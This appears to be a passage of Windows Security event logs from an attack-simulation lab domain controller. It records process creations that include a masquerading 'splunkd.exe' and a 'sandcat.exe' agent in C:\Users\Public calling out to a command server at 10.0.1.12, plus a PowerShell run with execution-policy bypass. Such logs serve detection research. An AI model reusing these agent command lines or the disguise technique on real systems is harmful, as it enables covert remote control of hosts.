-ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=253657 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:51:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=253656 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:51:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253658 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253660 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb88 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xb80 - Creator Process Name: C:\Users\Public\splunkd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253659 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb80 - New Process Name: C:\Users\Public\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x7bc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Users\Public\splunkd.exe" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=253663 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x360 - Process Name: C:\Windows\System32\lsass.exe -03/11/2021 11:51:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=253662 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x360 - Process Name: C:\Windows\System32\lsass.exe -03/11/2021 11:51:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253661 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbc8 - New Process Name: C:\Users\Public\sandcat.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x864 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Users\Public\sandcat.exe" -server http://10.0.1.12:8888 -group my_group -v - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253666 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbfc - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k smbsvcs - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253665 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253664 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253667 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8e8 - New Process Name: C:\Windows\System32\taskhostw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: taskhostw.exe SYSTEM - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xb80 - Creator Process Name: C:\Users\Public\splunkd.exe - Process Command Line: powershell.exe -ExecutionPolicy Bypass -C hycwcy - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc20 - New Process Name: C:\Windows\System32\wbem\unsecapp.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\unsecapp.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253693 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7fc - New Process Name: C:\Windows\System32\dfsrs.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\DFSRs.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253692 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x34c - New Process Name: C:\Windows\System32\dfssvc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\dfssvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253691 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x914 - New Process Name: C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253690 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253689 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253688 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253687 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253686 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253685 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253684 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8cc - New Process Name: C:\Program Files\Amazon\XenTools\LiteAgent.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\Amazon\XenTools\LiteAgent.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program 